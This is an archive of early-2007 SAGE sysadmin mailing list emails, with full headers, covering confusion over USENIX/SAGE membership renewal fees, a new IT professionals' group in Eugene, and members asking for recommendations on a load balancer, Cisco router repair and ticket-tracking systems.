Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MEobh6001323
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 22 Feb 2007 06:50:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1MEoar8001319
	for sage-members-0utGoign; Thu, 22 Feb 2007 06:50:36 -0800 (PST)
Received: from Princeton.EDU (root@postoffice05.Princeton.EDU
	[128.112.131.199])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MEoI7h001276
	for <sage-members@sage.org>; Thu, 22 Feb 2007 06:50:24 -0800 (PST)
Received: from smtpserver2.Princeton.EDU (smtpserver2.Princeton.EDU
	[128.112.129.148])
	by Princeton.EDU (8.13.8/8.13.8) with ESMTP id l1MEjAV6010758;
	Thu, 22 Feb 2007 09:45:10 -0500 (EST)
Received: from [128.112.50.5] (pool-72-82-235-125.cmdnnj.fios.verizon.net
	[72.82.235.125]) (authenticated bits=0)
	by smtpserver2.Princeton.EDU (8.12.9/8.12.9) with ESMTP id
	l1MEj9UH015559
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Thu, 22 Feb 2007 09:45:09 -0500 (EST)
Message-ID: <45DDAC75.9000701@princeton.edu>
Date: Thu, 22 Feb 2007 09:45:09 -0500
From: Jay Plett <jay@Princeton.EDU>
Organization: Princeton University EE Department
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: sage-members@sage.org
CC: Paul Lussier <p.lussier@comcast.net>
Subject: Re: [SAGE] Renewal costs ...
References: <45DD176D.9090403@smxy.org> <87wt2athd4.fsf@comcast.net>
In-Reply-To: <87wt2athd4.fsf@comcast.net>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=2%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 2/22/2007 9:08 AM, Paul Lussier wrote:
> "Shaun T. Erickson" <ste@smxy.org> writes:
>> [...snip...]
>> I think it was $140.00 ($100.00 for Usenix & $40 for Sage). Can anyone
>> confirm those numbers for me? I do remember that the amount for Sage
>> was $5.00 less than stated lower on the form - presumably because I
>> renewed both.
> 
> Well, my e-mailed receipt tells me this:
>   Charges
>    Individual member              $115
>    SAGE membership                $40
>   Order total                    $155

This is getting weird. My snailed renewal form said Sage $40. I think it 
said Usenix $120, but don't remember for sure. When I renewed on the web 
last week it was $120 + $45. My (employer's) credit card was charged $165.

When did you renew?

	...jay


From sage-members-owner@usenix.org Thu Feb 22 07:07:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MF7m2v002054
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 22 Feb 2007 07:07:54 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1MF7mjG002053
	for sage-members-0utGoign; Thu, 22 Feb 2007 07:07:48 -0800 (PST)
Received: from mailbox.reptiles.org (rootgecko.reptiles.org@mail.reptiles.org
	[198.96.210.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MF7fSi002045
	for <sage-members@sage.org>; Thu, 22 Feb 2007 07:07:47 -0800 (PST)
Received: from gecko.reptiles.org ([198.96.210.227] port=56348)
	by mailbox.reptiles.org([198.96.210.227] port=25)
	via TCP with esmtp (1442 bytes) (sender: <cat@reptiles.org>)
	(ident <nobody> using UNIX) id <m1HKFSt-00Dwl7C@mailbox.reptiles.org>
	for <sage-members@sage.org>; Thu, 22 Feb 2007 10:02:35 -0500 (EST)
	(Smail-3.2.0.121 2005-Nov-17 #4 built 2006-Nov-28)
Date: Thu, 22 Feb 2007 10:02:34 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Jay Plett <jay@Princeton.EDU>
cc: sage-members@sage.org, Paul Lussier <p.lussier@comcast.net>
Subject: Re: [SAGE] Renewal costs ...
In-Reply-To: <45DDAC75.9000701@princeton.edu>
Message-ID: <20070222100158.U16820@gecko.reptiles.org>
References: <45DD176D.9090403@smxy.org> <87wt2athd4.fsf@comcast.net>
	<45DDAC75.9000701@princeton.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Thu, 22 Feb 2007, Jay Plett wrote:
> This is getting weird. My snailed renewal form said Sage $40. I think it said 
> Usenix $120, but don't remember for sure. When I renewed on the web last week 
> it was $120 + $45. My (employer's) credit card was charged $165.

Would now be a good time to remind people that renewal will also be
affected by conference attendance?

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Thu Feb 22 07:38:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MFcWXb002921
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 22 Feb 2007 07:38:33 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1MFcWk4002920
	for sage-members-0utGoign; Thu, 22 Feb 2007 07:38:32 -0800 (PST)
Received: from [131.106.3.36] (tuvok.usenix.org [131.106.3.36])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MFcQ9S002913;
	Thu, 22 Feb 2007 07:38:26 -0800 (PST)
In-Reply-To: <45DDAC75.9000701@princeton.edu>
References: <45DD176D.9090403@smxy.org> <87wt2athd4.fsf@comcast.net>
	<45DDAC75.9000701@princeton.edu>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <9149E4FF-F265-474C-A9DD-0E354D9B8EA4@usenix.org>
Cc: sage-members@sage.org, Paul Lussier <p.lussier@comcast.net>
Content-Transfer-Encoding: 7bit
From: jane-ellen long <jel@usenix.org>
Subject: Re: [SAGE] Renewal costs ...
Date: Thu, 22 Feb 2007 07:38:26 -0800
To: Jay Plett <jay@Princeton.EDU>
X-Mailer: Apple Mail (2.752.2)
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Feb 22, 2007, at 6:45 AM, Jay Plett wrote:

> When did you renew?

That would be the crucial question. The Board of Directors voted a $5  
membership increase for both USENIX and SAGE, the first since 2005.  
That increase, to $120 for USENIX and $45 for SAGE, was just being  
implemented in February.

If anyone thinks something screwy happened with renewal, send me your  
transaction details and I'll delve into it.

cheers,
jane-ellen


---
Jane-Ellen Long
Director, IS and Production
USENIX & SAGE






From sage-members-owner@usenix.org Thu Feb 22 07:45:44 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MFjhtx003311
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 22 Feb 2007 07:45:44 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1MFjhtL003309
	for sage-members-0utGoign; Thu, 22 Feb 2007 07:45:43 -0800 (PST)
Received: from scudder.smxy.org (scudder.smxy.org [64.32.179.42])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MFjGEa003270
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Thu, 22 Feb 2007 07:45:27 -0800 (PST)
Received: from Shaun-T-Ericksons-Computer.local
	(65-78-120-56.c3-0.eas-ubr1.atw-eas.pa.cable.rcn.com [65.78.120.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested) (Authenticated sender: ste)
	by scudder.smxy.org (Postfix) with ESMTP id 8E731F5C7;
	Thu, 22 Feb 2007 10:45:15 -0500 (EST)
Message-ID: <45DDBA86.1080201@smxy.org>
Date: Thu, 22 Feb 2007 10:45:10 -0500
From: "Shaun T. Erickson" <ste@smxy.org>
Reply-To: ste@smxy.org
Organization: Smxy - four cats who rule!
User-Agent: Thunderbird 2.0b2 (Macintosh/20070116)
MIME-Version: 1.0
To: jane-ellen long <jel@usenix.org>
CC: Jay Plett <jay@Princeton.EDU>, sage-members@sage.org,
	Paul Lussier <p.lussier@comcast.net>
Subject: Re: [SAGE] Renewal costs ...
References: <45DD176D.9090403@smxy.org> <87wt2athd4.fsf@comcast.net>
	<45DDAC75.9000701@princeton.edu>
	<9149E4FF-F265-474C-A9DD-0E354D9B8EA4@usenix.org>
In-Reply-To: <9149E4FF-F265-474C-A9DD-0E354D9B8EA4@usenix.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

jane-ellen long wrote:
> On Feb 22, 2007, at 6:45 AM, Jay Plett wrote:
> 
>> When did you renew?
> 
> That would be the crucial question. The Board of Directors voted a $5 
> membership increase for both USENIX and SAGE, the first since 2005. That 
> increase, to $120 for USENIX and $45 for SAGE, was just being 
> implemented in February.
> 
> If anyone thinks something screwy happened with renewal, send me your 
> transaction details and I'll delve into it.

Ok, while I don't recall how much the form said for Usenix, I'm betting 
it was $120 because I definitely remember Sage being $45. The thing is, 
though, the green paper said $45, but the white label stuck to it, that 
said how much I should pay, only listed $40 for Sage, so that's all I 
paid for the Sage portion. I assumed I was getting a discount for 
renewing both at the same time ... do I owe another $5? At least now I 
can be pretty sure I sent $160 and will know for sure, once it posts.

     -ste


From sage-members-owner@usenix.org Thu Feb 22 08:22:09 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MGM8bQ004314
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 22 Feb 2007 08:22:09 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1MGM8Vx004313
	for sage-members-0utGoign; Thu, 22 Feb 2007 08:22:08 -0800 (PST)
Received: from [131.106.3.36] (tuvok.usenix.org [131.106.3.36])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MGM2gi004307;
	Thu, 22 Feb 2007 08:22:02 -0800 (PST)
In-Reply-To: <45DDBA86.1080201@smxy.org>
References: <45DD176D.9090403@smxy.org> <87wt2athd4.fsf@comcast.net>
	<45DDAC75.9000701@princeton.edu>
	<9149E4FF-F265-474C-A9DD-0E354D9B8EA4@usenix.org>
	<45DDBA86.1080201@smxy.org>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <521CA166-4924-4610-A7DF-C23918820791@usenix.org>
Cc: Toni Veglia <toni@usenix.org>, Holly Bruman <holly@usenix.org>,
	Jay Plett <jay@Princeton.EDU>, sage-members@sage.org,
	Paul Lussier <p.lussier@comcast.net>
Content-Transfer-Encoding: 7bit
From: jane-ellen long <jel@usenix.org>
Subject: Re: [SAGE] Renewal costs ...
Date: Thu, 22 Feb 2007 08:22:02 -0800
To: ste@smxy.org
X-Mailer: Apple Mail (2.752.2)
Sender: owner-sage-members@usenix.org
Precedence: bulk

Sounds like human error on our end, in which case you should not have  
to pay more. I'll work this out with the accounting folks.

Thanks for bringing the problem to my attention.

cheers,
jane-ellen

On Feb 22, 2007, at 7:45 AM, Shaun T. Erickson wrote:

> jane-ellen long wrote:
>> On Feb 22, 2007, at 6:45 AM, Jay Plett wrote:
>>> When did you renew?
>> That would be the crucial question. The Board of Directors voted a  
>> $5 membership increase for both USENIX and SAGE, the first since  
>> 2005. That increase, to $120 for USENIX and $45 for SAGE, was just  
>> being implemented in February.
>> If anyone thinks something screwy happened with renewal, send me  
>> your transaction details and I'll delve into it.
>
> Ok, while I don't recall how much the form said for Usenix, I'm  
> betting it was $120 because I definitely remember Sage being $45.  
> The thing is, though, the green paper said $45, but the white label  
> stuck to it, that said how much I should pay, only listed $40 for  
> Sage, so that's all I paid for the Sage portion. I assumed I was  
> getting a discount for renewing both at the same time ... do I owe  
> another $5? At least now I can be pretty sure I sent $160 and will  
> know for sure, once it posts.
>
>     -ste
>



From sage-members-owner@usenix.org Mon Feb 26 10:09:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1QI9ET3003598
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 26 Feb 2007 10:09:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1QI9EAh003597
	for sage-members-0utGoign; Mon, 26 Feb 2007 10:09:14 -0800 (PST)
Received: from newwinkle.deer-run.com (newwinkle.deer-run.com [67.18.149.10])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1QI8hfW003575
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Mon, 26 Feb 2007 10:08:53 -0800 (PST)
Received: from deer.deer-run.com (newwinkle.deer-run.com [67.18.149.10] (may
	be forged))
	by newwinkle.deer-run.com (8.13.1/8.13.1) with ESMTP id l1QI8EMC018780; 
	Mon, 26 Feb 2007 12:08:15 -0600
Received: (from hal@localhost)
	by deer.deer-run.com (8.11.7p3+Sun/8.11.6) id l1QI8E207887;
	Mon, 26 Feb 2007 10:08:14 -0800 (PST)
Date: Mon, 26 Feb 2007 10:08:14 -0800
From: Hal Pomeranz <hal@deer-run.com>
To: discuss@lopsa.org, sage-members@sage.org
Subject: [SAGE] New IT Group in Eugene, OR
Message-ID: <20070226180814.GG3564@deer-run.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2
	(newwinkle.deer-run.com [67.18.149.10]);
	Mon, 26 Feb 2007 12:08:16 -0600 (CST)
X-Scanned-By: MIMEDefang 2.56 on 67.18.149.10
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I'm excited to announce the beginning of something that's been a dream
of mine since I moved to Eugene.  We're starting a regular monthly
gathering for IT Professionals in the area.  Meetings are the THIRD
TUESDAY of every month, and our first meeting is Tuesday, March 20.
More information on upcoming meetings, mailing lists, etc is available
at itproforum.org.

Since our meetings are based around having a speaker on some technical
topic related to IT, we're always on the lookout for interested
speakers.  We're not a dues collecting organization, so we can't pay
you an honorarium or even cover travel expenses.  But I will be happy
to feed you and put you up in our guest room.  Please email me
directly if you'd be interested in giving a talk.

Please forward this information to anybody who you think might be
interested.

Hal Pomeranz



From sage-members-owner@usenix.org Tue Feb 27 07:19:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1RFJ0pd002069
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 27 Feb 2007 07:19:01 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1RFJ0xc002068
	for sage-members-0utGoign; Tue, 27 Feb 2007 07:19:00 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1RFINqC002049
	for <sage-members@sage.org>; Tue, 27 Feb 2007 07:18:34 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 6FC4C3ADEC; Tue, 27 Feb 2007 10:18:17 -0500 (EST)
Date: Tue, 27 Feb 2007 10:18:17 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: [SAGE] BalanceNG software load balancing
Message-ID: <20070227151817.GA7582@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Does anyone have any experience with BalanceNG
(http://freshmeat.net/projects/balanceng/)?  How well did it work for
you?  Would you recommend it?

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime  10:15:34 up 16:32,  1 user,  load average: 0.00, 0.00, 0.00
http://watson-wilson.ca


From sage-members-owner@usenix.org Wed Feb 28 19:18:08 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l213I6CZ025968
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 28 Feb 2007 19:18:07 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l213I6g8025967
	for sage-members-0utGoign; Wed, 28 Feb 2007 19:18:06 -0800 (PST)
Received: from sccrmhc14.comcast.net (sccrmhc14.comcast.net [63.240.77.84])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l213HoFd025954
	for <sage-members@sage.org>; Wed, 28 Feb 2007 19:18:01 -0800 (PST)
Received: from paulntooz.homelinux.org ([24.34.212.25])
	by comcast.net (sccrmhc14) with ESMTP
	id <2007030103173601400ppdthe>; Thu, 1 Mar 2007 03:17:36 +0000
Received: from taz.comcast.net (localhost [127.0.0.1])
	by paulntooz.homelinux.org (Postfix) with ESMTP id 9EC7F1AD38;
	Wed, 28 Feb 2007 22:17:35 -0500 (EST)
To: Jay Plett <jay@Princeton.EDU>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Renewal costs ...
References: <45DD176D.9090403@smxy.org> <87wt2athd4.fsf@comcast.net>
	<45DDAC75.9000701@princeton.edu>
From: Paul Lussier <p.lussier@comcast.net>
In-Reply-To: <45DDAC75.9000701@princeton.edu> (Jay Plett's message of "Thu,
	22 Feb 2007 09:45:09 -0500")
User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.50 (gnu/linux)
Date: Wed, 28 Feb 2007 22:17:31 -0500
Message-ID: <87irdlveic.fsf@comcast.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-sage-members@usenix.org
Precedence: bulk

Jay Plett <jay@Princeton.EDU> writes:

> On 2/22/2007 9:08 AM, Paul Lussier wrote:
>
> When did you renew?

December I think.  Which seems to explain why it's suddenly more now.

-- 
Seeya,
Paul


From sage-members-owner@usenix.org Thu Mar  1 17:44:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l221iSmx013828
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 1 Mar 2007 17:44:28 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l221iR0B013827
	for sage-members-0utGoign; Thu, 1 Mar 2007 17:44:27 -0800 (PST)
Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU
	[18.7.7.80])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l221iGSb013807
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Thu, 1 Mar 2007 17:44:22 -0800 (PST)
Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id
	l221aMW8010912
	for <sage-members@sage.org>; Thu, 1 Mar 2007 20:36:22 -0500 (EST)
Received: from multics.mit.edu (MULTICS.MIT.EDU [18.187.1.73])
	(authenticated bits=56) (User authenticated as xela@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id l221aLx2019535
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <sage-members@sage.org>; Thu, 1 Mar 2007 20:36:22 -0500 (EST)
Received: (from xela@localhost) by multics.mit.edu (8.12.9.20060308)
	id l221aLUq006239; Thu, 1 Mar 2007 20:36:21 -0500 (EST)
Message-Id: <200703020136.l221aLUq006239@multics.mit.edu>
To: sage-members@sage.org
Subject: [SAGE] cisco repair?
Date: Thu, 01 Mar 2007 20:36:20 -0500
From: "Carl Alexander" <xela@MIT.EDU>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=3%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I have a dead, out-of-warranty 7206VXR that I'd like to get back
into servicable condition.  Google finds me a few companies that
repair cisco gear, but not much basis for choosing among them.  
Does anyone have one they'd recommend?

Thanks in advance!

---Alex


From sage-members-owner@usenix.org Fri Mar  2 08:44:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22GiTWT005657
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 08:44:30 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22GiTBI005656
	for sage-members-0utGoign; Fri, 2 Mar 2007 08:44:29 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22GiRxV005651
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Fri, 2 Mar 2007 08:44:28 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22GiR6N005650
	for sage-members@usenix.org; Fri, 2 Mar 2007 08:44:27 -0800 (PST)
Received: from mail.clanspum.net (www.clanspum.net [82.165.180.112])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22BhTfQ029874
	for <sage-members@sage.org>; Fri, 2 Mar 2007 03:43:40 -0800 (PST)
Received: by mail.clanspum.net (Postfix, from userid 1005)
	id 000BE41A251; Fri,  2 Mar 2007 11:25:52 +0000 (GMT)
To: sage-members@sage.org
Subject: [SAGE] work ticket systems
Reply-to: dex@network-science.net
From: Allan Poindexter <dex@network-science.net>
Date: Fri, 02 Mar 2007 11:25:52 +0000
Message-ID: <82wt1zevjz.fsf@clanspum.net>
Lines: 12
X-Draft-From: ("nnml+mail:sage-members" "")
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I have used both "req" (Remy Evard's system out of NEU) and "wreq".
To my knowledge neither of these systems have had active support  in
years.  I am about to install a system at a new site.  Does anyone
want to recommend a system they have used?

-- 
/-\ |_ |_ /-\ |\| 
----------------------------------------
To him that is pitiless the deeds of pity are ever strange and beyond
reckoning.

-- J. R. R. Tolkien _The_Silmarillion_


From sage-members-owner@usenix.org Fri Mar  2 09:12:07 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HBv80006600
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 09:11:57 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22HBv6x006599
	for sage-members-0utGoign; Fri, 2 Mar 2007 09:11:57 -0800 (PST)
Received: from mailbox.reptiles.org (rootgecko.reptiles.org@mail.reptiles.org
	[198.96.210.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HBK3B006568
	for <sage-members@sage.org>; Fri, 2 Mar 2007 09:11:30 -0800 (PST)
Received: from www.reptiles.org ([198.96.210.227] port=50321)
	by mailbox.reptiles.org([198.96.210.227] port=25)
	via TCP with esmtp (1470 bytes) (sender: <cat@reptiles.org>)
	(ident <nobody> using UNIX) id <m1HNBHp-00DwldC@mailbox.reptiles.org>
	for <sage-members@sage.org>; Fri, 2 Mar 2007 12:11:17 -0500 (EST)
	(Smail-3.2.0.121 2005-Nov-17 #4 built 2006-Nov-28)
Date: Fri, 2 Mar 2007 12:11:13 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Allan Poindexter <dex@network-science.net>
cc: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
Message-ID: <20070302121029.F16820@gecko.reptiles.org>
References: <82wt1zevjz.fsf@clanspum.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 2 Mar 2007, Allan Poindexter wrote:
> I have used both "req" (Remy Evard's system out of NEU) and "wreq".
> To my knowledge neither of these systems have had active support  in
> years.  I am about to install a system at a new site.  Does anyone
> want to recommend a system they have used?

Heh.  That's one way to start a religious war :)

It depends on what you want to do, and how much you want to spend, as
always.  I continue to be fond of RT (Request Tracker - http://www.bestpractical.com/rt).

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Fri Mar  2 09:33:41 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HXAVO007565
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 09:33:16 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22HXAKN007564
	for sage-members-0utGoign; Fri, 2 Mar 2007 09:33:10 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HVbRC007517
	for <sage-members@sage.org>; Fri, 2 Mar 2007 09:31:48 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 74so714487ugb
	for <sage-members@sage.org>; Fri, 02 Mar 2007 09:31:28 -0800 (PST)
Received: by 10.78.193.19 with SMTP id q19mr58025huf.1172856687963;
	Fri, 02 Mar 2007 09:31:27 -0800 (PST)
Received: by 10.78.153.11 with HTTP; Fri, 2 Mar 2007 09:31:27 -0800 (PST)
Message-ID: <ce40d2f80703020931k393017actf62119367f9d14c8@mail.gmail.com>
Date: Fri, 2 Mar 2007 12:31:27 -0500
From: "Gilbert Wilson" <gilbert@watchhouse.org>
To: "Cat Okita" <cat@reptiles.org>
Subject: Re: [SAGE] work ticket systems
Cc: "Allan Poindexter" <dex@network-science.net>, sage-members@sage.org
In-Reply-To: <20070302121029.F16820@gecko.reptiles.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302121029.F16820@gecko.reptiles.org>
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/2/07, Cat Okita <cat@reptiles.org> wrote:
> On Fri, 2 Mar 2007, Allan Poindexter wrote:
> > I have used both "req" (Remy Evard's system out of NEU) and "wreq".
> > To my knowledge neither of these systems have had active support  in
> > years.  I am about to install a system at a new site.  Does anyone
> > want to recommend a system they have used?
>
> Heh.  That's one way to start a religious war :)

RT, suxors!!   Use... uh... use, hmmm.  Use RT, it's way better! ;c)

>
> It depends on what you want to do, and how much you want to spend, as
> always.  I continue to be fond of RT (Request Tracker - http://www.bestpractical.com/rt).
>
> cheers!
> ==========================================================================
> "A cat spends her life conflicted between a deep, passionate and profound
> desire for fish and an equally deep, passionate and profound desire to
> avoid getting wet.  This is the defining metaphor of my life right now."
>


Related to RT is Hiveminder, a pretty darn good "to do" app that also
lets you collaborate with others.  Its not full on ticket management,
but I think worthwhile mentioning that best practical does do things
that aren't RT.

